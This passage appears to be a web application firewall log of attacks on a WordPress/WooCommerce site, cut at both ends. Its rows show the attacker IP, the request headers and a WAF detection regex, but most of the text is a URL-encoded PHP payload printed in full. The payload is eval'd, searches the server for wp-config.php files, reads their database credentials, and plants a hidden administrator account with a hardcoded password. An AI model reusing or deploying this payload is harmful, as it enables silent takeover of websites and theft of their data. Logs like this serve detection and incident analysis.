0%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:32:43","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5C